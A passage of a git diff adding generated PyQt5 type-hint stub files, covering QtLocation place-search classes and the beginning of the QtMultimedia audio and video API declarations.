'QPlaceSupplier': ... + def setRatings(self, ratings: 'QPlaceRatings') -> None: ... + def ratings(self) -> 'QPlaceRatings': ... + def setLocation(self, location: QtPositioning.QGeoLocation) -> None: ... + def location(self) -> QtPositioning.QGeoLocation: ... + def setCategories(self, categories: typing.Iterable['QPlaceCategory']) -> None: ... + def setCategory(self, category: 'QPlaceCategory') -> None: ... + def categories(self) -> typing.List['QPlaceCategory']: ... + + +class QPlaceAttribute(sip.simplewrapper): + + OpeningHours = ... # type: str + Payment = ... # type: str + Provider = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceAttribute') -> None: ... + + def isEmpty(self) -> bool: ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + def setLabel(self, label: str) -> None: ... + def label(self) -> str: ... + + +class QPlaceCategory(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceCategory') -> None: ... + + def isEmpty(self) -> bool: ... + def setIcon(self, icon: 'QPlaceIcon') -> None: ... + def icon(self) -> 'QPlaceIcon': ... + def setVisibility(self, visibility: QLocation.Visibility) -> None: ... + def visibility(self) -> QLocation.Visibility: ... + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + def setCategoryId(self, identifier: str) -> None: ... + def categoryId(self) -> str: ... + + +class QPlaceContactDetail(sip.simplewrapper): + + Email = ... # type: str + Fax = ... # type: str + Phone = ... # type: str + Website = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceContactDetail') -> None: ... + + def clear(self) -> None: ... + def setValue(self, value: str) -> None: ... + def value(self) -> str: ... + def setLabel(self, label: str) -> None: ... + def label(self) -> str: ... + + +class QPlaceContent(sip.simplewrapper): + + class Type(int): + NoType = ... # type: QPlaceContent.Type + ImageType = ... # type: QPlaceContent.Type + ReviewType = ... # type: QPlaceContent.Type + EditorialType = ... # type: QPlaceContent.Type + CustomType = ... # type: QPlaceContent.Type + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceContent') -> None: ... + + def setAttribution(self, attribution: str) -> None: ... + def attribution(self) -> str: ... + def setUser(self, user: 'QPlaceUser') -> None: ... + def user(self) -> 'QPlaceUser': ... + def setSupplier(self, supplier: 'QPlaceSupplier') -> None: ... + def supplier(self) -> 'QPlaceSupplier': ... + def type(self) -> 'QPlaceContent.Type': ... + + +class QPlaceReply(QtCore.QObject): + + class Type(int): + Reply = ... # type: QPlaceReply.Type + DetailsReply = ... # type: QPlaceReply.Type + SearchReply = ... # type: QPlaceReply.Type + SearchSuggestionReply = ... # type: QPlaceReply.Type + ContentReply = ... # type: QPlaceReply.Type + IdReply = ... # type: QPlaceReply.Type + MatchReply = ... # type: QPlaceReply.Type + + class Error(int): + NoError = ... # type: QPlaceReply.Error + PlaceDoesNotExistError = ... # type: QPlaceReply.Error + CategoryDoesNotExistError = ... # type: QPlaceReply.Error + CommunicationError = ... # type: QPlaceReply.Error + ParseError = ... # type: QPlaceReply.Error + PermissionsError = ... # type: QPlaceReply.Error + UnsupportedError = ... # type: QPlaceReply.Error + BadArgumentError = ... # type: QPlaceReply.Error + CancelError = ... # type: QPlaceReply.Error + UnknownError = ... # type: QPlaceReply.Error + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setError(self, error: 'QPlaceReply.Error', errorString: str) -> None: ... + def setFinished(self, finished: bool) -> None: ... + def contentUpdated(self) -> None: ... + def finished(self) -> None: ... + def aborted(self) -> None: ... + def abort(self) -> None: ... + @typing.overload + def error(self) -> 'QPlaceReply.Error': ... + @typing.overload + def error(self, error: 'QPlaceReply.Error', errorString: str = ...) -> None: ... + def errorString(self) -> str: ... + def type(self) -> 'QPlaceReply.Type': ... + def isFinished(self) -> bool: ... + + +class QPlaceContentReply(QPlaceReply): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setNextPageRequest(self, next: 'QPlaceContentRequest') -> None: ... + def setPreviousPageRequest(self, previous: 'QPlaceContentRequest') -> None: ... + def setRequest(self, request: 'QPlaceContentRequest') -> None: ... + def setTotalCount(self, total: int) -> None: ... + def setContent(self, content: typing.Dict[int, QPlaceContent]) -> None: ... + def nextPageRequest(self) -> 'QPlaceContentRequest': ... + def previousPageRequest(self) -> 'QPlaceContentRequest': ... + def request(self) -> 'QPlaceContentRequest': ... + def totalCount(self) -> int: ... + def content(self) -> typing.Dict[int, QPlaceContent]: ... + def type(self) -> QPlaceReply.Type: ... + + +class QPlaceContentRequest(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceContentRequest') -> None: ... + + def clear(self) -> None: ... + def setLimit(self, limit: int) -> None: ... + def limit(self) -> int: ... + def setContentContext(self, context: typing.Any) -> None: ... + def contentContext(self) -> typing.Any: ... + def setPlaceId(self, identifier: str) -> None: ... + def placeId(self) -> str: ... + def setContentType(self, type: QPlaceContent.Type) -> None: ... + def contentType(self) -> QPlaceContent.Type: ... + + +class QPlaceDetailsReply(QPlaceReply): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setPlace(self, place: QPlace) -> None: ... + def place(self) -> QPlace: ... + def type(self) -> QPlaceReply.Type: ... + + +class QPlaceEditorial(QPlaceContent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QPlaceContent) -> None: ... + @typing.overload + def __init__(self, a0: 'QPlaceEditorial') -> None: ... + + def setLanguage(self, data: str) -> None: ... + def language(self) -> str: ... + def setTitle(self, data: str) -> None: ... + def title(self) -> str: ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + + +class QPlaceIcon(sip.simplewrapper): + + SingleUrl = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceIcon') -> None: ... + + def isEmpty(self) -> bool: ... + def setParameters(self, parameters: typing.Dict[str, typing.Any]) -> None: ... + def parameters(self) -> typing.Dict[str, typing.Any]: ... + def setManager(self, manager: 'QPlaceManager') -> None: ... + def manager(self) -> 'QPlaceManager': ... + def url(self, size: QtCore.QSize = ...) -> QtCore.QUrl: ... + + +class QPlaceIdReply(QPlaceReply): + + class OperationType(int): + SavePlace = ... # type: QPlaceIdReply.OperationType + SaveCategory = ... # type: QPlaceIdReply.OperationType + RemovePlace = ... # type: QPlaceIdReply.OperationType + RemoveCategory = ... # type: QPlaceIdReply.OperationType + + def __init__(self, operationType: 'QPlaceIdReply.OperationType', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setId(self, identifier: str) -> None: ... + def id(self) -> str: ... + def operationType(self) -> 'QPlaceIdReply.OperationType': ... + def type(self) -> QPlaceReply.Type: ... + + +class QPlaceImage(QPlaceContent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QPlaceContent) -> None: ... + @typing.overload + def __init__(self, a0: 'QPlaceImage') -> None: ... + + def setMimeType(self, data: str) -> None: ... + def mimeType(self) -> str: ... + def setImageId(self, identifier: str) -> None: ... + def imageId(self) -> str: ... + def setUrl(self, url: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + + +class QPlaceManager(QtCore.QObject): + + def dataChanged(self) -> None: ... + def categoryRemoved(self, categoryId: str, parentId: str) -> None: ... + def categoryUpdated(self, category: QPlaceCategory, parentId: str) -> None: ... + def categoryAdded(self, category: QPlaceCategory, parentId: str) -> None: ... + def placeRemoved(self, placeId: str) -> None: ... + def placeUpdated(self, placeId: str) -> None: ... + def placeAdded(self, placeId: str) -> None: ... + def error(self, a0: QPlaceReply, error: QPlaceReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QPlaceReply) -> None: ... + def matchingPlaces(self, request: 'QPlaceMatchRequest') -> 'QPlaceMatchReply': ... + def compatiblePlace(self, place: QPlace) -> QPlace: ... + def setLocales(self, locale: typing.Iterable[QtCore.QLocale]) -> None: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def locales(self) -> typing.List[QtCore.QLocale]: ... + def childCategories(self, parentId: str = ...) -> typing.List[QPlaceCategory]: ... + def category(self, categoryId: str) -> QPlaceCategory: ... + def childCategoryIds(self, parentId: str = ...) -> typing.List[str]: ... + def parentCategoryId(self, categoryId: str) -> str: ... + def initializeCategories(self) -> QPlaceReply: ... + def removeCategory(self, categoryId: str) -> QPlaceIdReply: ... + def saveCategory(self, category: QPlaceCategory, parentId: str = ...) -> QPlaceIdReply: ... + def removePlace(self, placeId: str) -> QPlaceIdReply: ... + def savePlace(self, place: QPlace) -> QPlaceIdReply: ... + def searchSuggestions(self, request: 'QPlaceSearchRequest') -> 'QPlaceSearchSuggestionReply': ... + def search(self, query: 'QPlaceSearchRequest') -> 'QPlaceSearchReply': ... + def getPlaceContent(self, request: QPlaceContentRequest) -> QPlaceContentReply: ... + def getPlaceDetails(self, placeId: str) -> QPlaceDetailsReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QPlaceManagerEngine(QtCore.QObject): + + def __init__(self, parameters: typing.Dict[str, typing.Any], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def manager(self) -> QPlaceManager: ... + def dataChanged(self) -> None: ... + def categoryRemoved(self, categoryId: str, parentCategoryId: str) -> None: ... + def categoryUpdated(self, category: QPlaceCategory, parentCategoryId: str) -> None: ... + def categoryAdded(self, category: QPlaceCategory, parentCategoryId: str) -> None: ... + def placeRemoved(self, placeId: str) -> None: ... + def placeUpdated(self, placeId: str) -> None: ... + def placeAdded(self, placeId: str) -> None: ... + def error(self, a0: QPlaceReply, error: QPlaceReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QPlaceReply) -> None: ... + def matchingPlaces(self, request: 'QPlaceMatchRequest') -> 'QPlaceMatchReply': ... + def compatiblePlace(self, original: QPlace) -> QPlace: ... + def constructIconUrl(self, icon: QPlaceIcon, size: QtCore.QSize) -> QtCore.QUrl: ... + def setLocales(self, locales: typing.Iterable[QtCore.QLocale]) -> None: ... + def locales(self) -> typing.List[QtCore.QLocale]: ... + def childCategories(self, parentId: str) -> typing.List[QPlaceCategory]: ... + def category(self, categoryId: str) -> QPlaceCategory: ... + def childCategoryIds(self, categoryId: str) -> typing.List[str]: ... + def parentCategoryId(self, categoryId: str) -> str: ... + def initializeCategories(self) -> QPlaceReply: ... + def removeCategory(self, categoryId: str) -> QPlaceIdReply: ... + def saveCategory(self, category: QPlaceCategory, parentId: str) -> QPlaceIdReply: ... + def removePlace(self, placeId: str) -> QPlaceIdReply: ... + def savePlace(self, place: QPlace) -> QPlaceIdReply: ... + def searchSuggestions(self, request: 'QPlaceSearchRequest') -> 'QPlaceSearchSuggestionReply': ... + def search(self, request: 'QPlaceSearchRequest') -> 'QPlaceSearchReply': ... + def getPlaceContent(self, request: QPlaceContentRequest) -> QPlaceContentReply: ... + def getPlaceDetails(self, placeId: str) -> QPlaceDetailsReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QPlaceMatchReply(QPlaceReply): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setRequest(self, request: 'QPlaceMatchRequest') -> None: ... + def setPlaces(self, results: typing.Iterable[QPlace]) -> None: ... + def request(self) -> 'QPlaceMatchRequest': ... + def places(self) -> typing.List[QPlace]: ... + def type(self) -> QPlaceReply.Type: ... + + +class QPlaceMatchRequest(sip.simplewrapper): + + AlternativeId = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceMatchRequest') -> None: ... + + def clear(self) -> None: ... + def setParameters(self, parameters: typing.Dict[str, typing.Any]) -> None: ... + def parameters(self) -> typing.Dict[str, typing.Any]: ... + def setResults(self, results: typing.Iterable['QPlaceSearchResult']) -> None: ... + def setPlaces(self, places: typing.Iterable[QPlace]) -> None: ... + def places(self) -> typing.List[QPlace]: ... + + +class QPlaceSearchResult(sip.simplewrapper): + + class SearchResultType(int): + UnknownSearchResult = ... # type: QPlaceSearchResult.SearchResultType + PlaceResult = ... # type: QPlaceSearchResult.SearchResultType + ProposedSearchResult = ... # type: QPlaceSearchResult.SearchResultType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceSearchResult') -> None: ... + + def setIcon(self, icon: QPlaceIcon) -> None: ... + def icon(self) -> QPlaceIcon: ... + def setTitle(self, title: str) -> None: ... + def title(self) -> str: ... + def type(self) -> 'QPlaceSearchResult.SearchResultType': ... + + +class QPlaceProposedSearchResult(QPlaceSearchResult): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QPlaceSearchResult) -> None: ... + @typing.overload + def __init__(self, a0: 'QPlaceProposedSearchResult') -> None: ... + + def setSearchRequest(self, request: 'QPlaceSearchRequest') -> None: ... + def searchRequest(self) -> 'QPlaceSearchRequest': ... + + +class QPlaceRatings(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceRatings') -> None: ... + + def isEmpty(self) -> bool: ... + def setMaximum(self, max: float) -> None: ... + def maximum(self) -> float: ... + def setCount(self, count: int) -> None: ... + def count(self) -> int: ... + def setAverage(self, average: float) -> None: ... + def average(self) -> float: ... + + +class QPlaceResult(QPlaceSearchResult): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QPlaceSearchResult) -> None: ... + @typing.overload + def __init__(self, a0: 'QPlaceResult') -> None: ... + + def setSponsored(self, sponsored: bool) -> None: ... + def isSponsored(self) -> bool: ... + def setPlace(self, place: QPlace) -> None: ... + def place(self) -> QPlace: ... + def setDistance(self, distance: float) -> None: ... + def distance(self) -> float: ... + + +class QPlaceReview(QPlaceContent): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: QPlaceContent) -> None: ... + @typing.overload + def __init__(self, a0: 'QPlaceReview') -> None: ... + + def setTitle(self, data: str) -> None: ... + def title(self) -> str: ... + def setReviewId(self, identifier: str) -> None: ... + def reviewId(self) -> str: ... + def setRating(self, data: float) -> None: ... + def rating(self) -> float: ... + def setLanguage(self, data: str) -> None: ... + def language(self) -> str: ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + def setDateTime(self, dt: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def dateTime(self) -> QtCore.QDateTime: ... + + +class QPlaceSearchReply(QPlaceReply): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setNextPageRequest(self, next: 'QPlaceSearchRequest') -> None: ... + def setPreviousPageRequest(self, previous: 'QPlaceSearchRequest') -> None: ... + def setRequest(self, request: 'QPlaceSearchRequest') -> None: ... + def setResults(self, results: typing.Iterable[QPlaceSearchResult]) -> None: ... + def nextPageRequest(self) -> 'QPlaceSearchRequest': ... + def previousPageRequest(self) -> 'QPlaceSearchRequest': ... + def request(self) -> 'QPlaceSearchRequest': ... + def results(self) -> typing.List[QPlaceSearchResult]: ... + def type(self) -> QPlaceReply.Type: ... + + +class QPlaceSearchRequest(sip.simplewrapper): + + class RelevanceHint(int): + UnspecifiedHint = ... # type: QPlaceSearchRequest.RelevanceHint + DistanceHint = ... # type: QPlaceSearchRequest.RelevanceHint + LexicalPlaceNameHint = ... # type: QPlaceSearchRequest.RelevanceHint + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceSearchRequest') -> None: ... + + def clear(self) -> None: ... + def setLimit(self, limit: int) -> None: ... + def limit(self) -> int: ... + def setRelevanceHint(self, hint: 'QPlaceSearchRequest.RelevanceHint') -> None: ... + def relevanceHint(self) -> 'QPlaceSearchRequest.RelevanceHint': ... + def setVisibilityScope(self, visibilityScopes: typing.Union[QLocation.VisibilityScope, QLocation.Visibility]) -> None: ... + def visibilityScope(self) -> QLocation.VisibilityScope: ... + def setSearchContext(self, context: typing.Any) -> None: ... + def searchContext(self) -> typing.Any: ... + def setRecommendationId(self, recommendationId: str) -> None: ... + def recommendationId(self) -> str: ... + def setSearchArea(self, area: QtPositioning.QGeoShape) -> None: ... + def searchArea(self) -> QtPositioning.QGeoShape: ... + def setCategories(self, categories: typing.Iterable[QPlaceCategory]) -> None: ... + def setCategory(self, category: QPlaceCategory) -> None: ... + def categories(self) -> typing.List[QPlaceCategory]: ... + def setSearchTerm(self, term: str) -> None: ... + def searchTerm(self) -> str: ... + + +class QPlaceSearchSuggestionReply(QPlaceReply): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setSuggestions(self, suggestions: typing.Iterable[str]) -> None: ... + def type(self) -> QPlaceReply.Type: ... + def suggestions(self) -> typing.List[str]: ... + + +class QPlaceSupplier(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceSupplier') -> None: ... + + def isEmpty(self) -> bool: ... + def setIcon(self, icon: QPlaceIcon) -> None: ... + def icon(self) -> QPlaceIcon: ... + def setUrl(self, data: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + def setSupplierId(self, identifier: str) -> None: ... + def supplierId(self) -> str: ... + def setName(self, data: str) -> None: ... + def name(self) -> str: ... + + +class QPlaceUser(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlaceUser') -> None: ... + + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + def setUserId(self, identifier: str) -> None: ... + def userId(self) -> str: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtMultimedia.pyi b/OTHERS/Jarvis/ools/PyQt5/QtMultimedia.pyi new file mode 100644 index 00000000..17e0cc6b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtMultimedia.pyi @@ -0,0 +1,2556 @@ +# The PEP 484 type hints stub file for the QtMultimedia module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtNetwork +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QAbstractVideoBuffer(sip.simplewrapper): + + class MapMode(int): + NotMapped = ... # type: QAbstractVideoBuffer.MapMode + ReadOnly = ... # type: QAbstractVideoBuffer.MapMode + WriteOnly = ... # type: QAbstractVideoBuffer.MapMode + ReadWrite = ... # type: QAbstractVideoBuffer.MapMode + + class HandleType(int): + NoHandle = ... # type: QAbstractVideoBuffer.HandleType + GLTextureHandle = ... # type: QAbstractVideoBuffer.HandleType + XvShmImageHandle = ... # type: QAbstractVideoBuffer.HandleType + CoreImageHandle = ... # type: QAbstractVideoBuffer.HandleType + QPixmapHandle = ... # type: QAbstractVideoBuffer.HandleType + EGLImageHandle = ... # type: QAbstractVideoBuffer.HandleType + UserHandle = ... # type: QAbstractVideoBuffer.HandleType + + def __init__(self, type: 'QAbstractVideoBuffer.HandleType') -> None: ... + + def release(self) -> None: ... + def handle(self) -> typing.Any: ... + def unmap(self) -> None: ... + def map(self, mode: 'QAbstractVideoBuffer.MapMode') -> typing.Tuple[PyQt5.sip.voidptr, int, int]: ... + def mapMode(self) -> 'QAbstractVideoBuffer.MapMode': ... + def handleType(self) -> 'QAbstractVideoBuffer.HandleType': ... + + +class QVideoFilterRunnable(sip.simplewrapper): + + class RunFlag(int): + LastInChain = ... # type: QVideoFilterRunnable.RunFlag + + class RunFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QVideoFilterRunnable.RunFlags', 'QVideoFilterRunnable.RunFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QVideoFilterRunnable.RunFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QVideoFilterRunnable.RunFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QVideoFilterRunnable') -> None: ... + + def run(self, input: 'QVideoFrame', surfaceFormat: 'QVideoSurfaceFormat', flags: typing.Union['QVideoFilterRunnable.RunFlags', 'QVideoFilterRunnable.RunFlag']) -> 'QVideoFrame': ... + + +class QAbstractVideoFilter(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def activeChanged(self) -> None: ... + def createFilterRunnable(self) -> QVideoFilterRunnable: ... + def isActive(self) -> bool: ... + + +class QAbstractVideoSurface(QtCore.QObject): + + class Error(int): + NoError = ... # type: QAbstractVideoSurface.Error + UnsupportedFormatError = ... # type: QAbstractVideoSurface.Error + IncorrectFormatError = ... # type: QAbstractVideoSurface.Error + StoppedError = ... # type: QAbstractVideoSurface.Error + ResourceError = ... # type: QAbstractVideoSurface.Error + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def nativeResolutionChanged(self, a0: QtCore.QSize) -> None: ... + def setNativeResolution(self, resolution: QtCore.QSize) -> None: ... + def nativeResolution(self) -> QtCore.QSize: ... + def setError(self, error: 'QAbstractVideoSurface.Error') -> None: ... + def supportedFormatsChanged(self) -> None: ... + def surfaceFormatChanged(self, format: 'QVideoSurfaceFormat') -> None: ... + def activeChanged(self, active: bool) -> None: ... + def error(self) -> 'QAbstractVideoSurface.Error': ... + def present(self, frame: 'QVideoFrame') -> bool: ... + def isActive(self) -> bool: ... + def stop(self) -> None: ... + def start(self, format: 'QVideoSurfaceFormat') -> bool: ... + def surfaceFormat(self) -> 'QVideoSurfaceFormat': ... + def nearestFormat(self, format: 'QVideoSurfaceFormat') -> 'QVideoSurfaceFormat': ... + def isFormatSupported(self, format: 'QVideoSurfaceFormat') -> bool: ... + def supportedPixelFormats(self, type: QAbstractVideoBuffer.HandleType = ...) -> typing.List['QVideoFrame.PixelFormat']: ... + + +class QAudio(PyQt5.sip.simplewrapper): + + class VolumeScale(int): + LinearVolumeScale = ... # type: QAudio.VolumeScale + CubicVolumeScale = ... # type: QAudio.VolumeScale + LogarithmicVolumeScale = ... # type: QAudio.VolumeScale + DecibelVolumeScale = ... # type: QAudio.VolumeScale + + class Role(int): + UnknownRole = ... # type: QAudio.Role + MusicRole = ... # type: QAudio.Role + VideoRole = ... # type: QAudio.Role + VoiceCommunicationRole = ... # type: QAudio.Role + AlarmRole = ... # type: QAudio.Role + NotificationRole = ... # type: QAudio.Role + RingtoneRole = ... # type: QAudio.Role + AccessibilityRole = ... # type: QAudio.Role + SonificationRole = ... # type: QAudio.Role + GameRole = ... # type: QAudio.Role + CustomRole = ... # type: QAudio.Role + + class Mode(int): + AudioInput = ... # type: QAudio.Mode + AudioOutput = ... # type: QAudio.Mode + + class State(int): + ActiveState = ... # type: QAudio.State + SuspendedState = ... # type: QAudio.State + StoppedState = ... # type: QAudio.State + IdleState = ... # type: QAudio.State + InterruptedState = ... # type: QAudio.State + + class Error(int): + NoError = ... # type: QAudio.Error + OpenError = ... # type: QAudio.Error + IOError = ... # type: QAudio.Error + UnderrunError = ... # type: QAudio.Error + FatalError = ... # type: QAudio.Error + + def convertVolume(self, volume: float, from_: 'QAudio.VolumeScale', to: 'QAudio.VolumeScale') -> float: ... + + +class QAudioBuffer(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], format: 'QAudioFormat', startTime: int = ...) -> None: ... + @typing.overload + def __init__(self, numFrames: int, format: 'QAudioFormat', startTime: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QAudioBuffer') -> None: ... + + def data(self) -> PyQt5.sip.voidptr: ... + def constData(self) -> PyQt5.sip.voidptr: ... + def startTime(self) -> int: ... + def duration(self) -> int: ... + def byteCount(self) -> int: ... + def sampleCount(self) -> int: ... + def frameCount(self) -> int: ... + def format(self) -> 'QAudioFormat': ... + def isValid(self) -> bool: ... + + +class QMediaObject(QtCore.QObject): + + def __init__(self, parent: QtCore.QObject, service: 'QMediaService') -> None: ... + + def removePropertyWatch(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def addPropertyWatch(self, name: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def availabilityChanged(self, availability: 'QMultimedia.AvailabilityStatus') -> None: ... + @typing.overload + def availabilityChanged(self, available: bool) -> None: ... + @typing.overload + def metaDataChanged(self) -> None: ... + @typing.overload + def metaDataChanged(self, key: str, value: typing.Any) -> None: ... + def metaDataAvailableChanged(self, available: bool) -> None: ... + def notifyIntervalChanged(self, milliSeconds: int) -> None: ... + def availableMetaData(self) -> typing.List[str]: ... + def metaData(self, key: str) -> typing.Any: ... + def isMetaDataAvailable(self) -> bool: ... + def unbind(self, a0: QtCore.QObject) -> None: ... + def bind(self, a0: QtCore.QObject) -> bool: ... + def setNotifyInterval(self, milliSeconds: int) -> None: ... + def notifyInterval(self) -> int: ... + def service(self) -> 'QMediaService': ... + def availability(self) -> 'QMultimedia.AvailabilityStatus': ... + def isAvailable(self) -> bool: ... + + +class QAudioDecoder(QMediaObject): + + class Error(int): + NoError = ... # type: QAudioDecoder.Error + ResourceError = ... # type: QAudioDecoder.Error + FormatError = ... # type: QAudioDecoder.Error + AccessDeniedError = ... # type: QAudioDecoder.Error + ServiceMissingError = ... # type: QAudioDecoder.Error + + class State(int): + StoppedState = ... # type: QAudioDecoder.State + DecodingState = ... # type: QAudioDecoder.State + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def unbind(self, a0: QtCore.QObject) -> None: ... + def bind(self, a0: QtCore.QObject) -> bool: ... + def durationChanged(self, duration: int) -> None: ... + def positionChanged(self, position: int) -> None: ... + def sourceChanged(self) -> None: ... + def formatChanged(self, format: 'QAudioFormat') -> None: ... + def stateChanged(self, newState: 'QAudioDecoder.State') -> None: ... + def finished(self) -> None: ... + def bufferReady(self) -> None: ... + def bufferAvailableChanged(self, a0: bool) -> None: ... + def stop(self) -> None: ... + def start(self) -> None: ... + def duration(self) -> int: ... + def position(self) -> int: ... + def bufferAvailable(self) -> bool: ... + def read(self) -> QAudioBuffer: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QAudioDecoder.Error': ... + @typing.overload + def error(self, error: 'QAudioDecoder.Error') -> None: ... + def setAudioFormat(self, format: 'QAudioFormat') -> None: ... + def audioFormat(self) -> 'QAudioFormat': ... + def setSourceDevice(self, device: QtCore.QIODevice) -> None: ... + def sourceDevice(self) -> QtCore.QIODevice: ... + def setSourceFilename(self, fileName: str) -> None: ... + def sourceFilename(self) -> str: ... + def state(self) -> 'QAudioDecoder.State': ... + @staticmethod + def hasSupport(mimeType: str, codecs: typing.Iterable[str] = ...) -> 'QMultimedia.SupportEstimate': ... + + +class QMediaControl(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + +class QAudioDecoderControl(QMediaControl): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def durationChanged(self, duration: int) -> None: ... + def positionChanged(self, position: int) -> None: ... + def finished(self) -> None: ... + def bufferAvailableChanged(self, available: bool) -> None: ... + def bufferReady(self) -> None: ... + def error(self, error: int, errorString: str) -> None: ... + def sourceChanged(self) -> None: ... + def formatChanged(self, format: 'QAudioFormat') -> None: ... + def stateChanged(self, newState: QAudioDecoder.State) -> None: ... + def duration(self) -> int: ... + def position(self) -> int: ... + def bufferAvailable(self) -> bool: ... + def read(self) -> QAudioBuffer: ... + def setAudioFormat(self, format: 'QAudioFormat') -> None: ... + def audioFormat(self) -> 'QAudioFormat': ... + def stop(self) -> None: ... + def start(self) -> None: ... + def setSourceDevice(self, device: QtCore.QIODevice) -> None: ... + def sourceDevice(self) -> QtCore.QIODevice: ... + def setSourceFilename(self, fileName: str) -> None: ... + def sourceFilename(self) -> str: ... + def state(self) -> QAudioDecoder.State: ... + + +class QAudioDeviceInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QAudioDeviceInfo') -> None: ... + + def realm(self) -> str: ... + def supportedChannelCounts(self) -> typing.List[int]: ... + def supportedSampleRates(self) -> typing.List[int]: ... + @staticmethod + def availableDevices(mode: QAudio.Mode) -> typing.List['QAudioDeviceInfo']: ... + @staticmethod + def defaultOutputDevice() -> 'QAudioDeviceInfo': ... + @staticmethod + def defaultInputDevice() -> 'QAudioDeviceInfo': ... + def supportedSampleTypes(self) -> typing.List['QAudioFormat.SampleType']: ... + def supportedByteOrders(self) -> typing.List['QAudioFormat.Endian']: ... + def supportedSampleSizes(self) -> 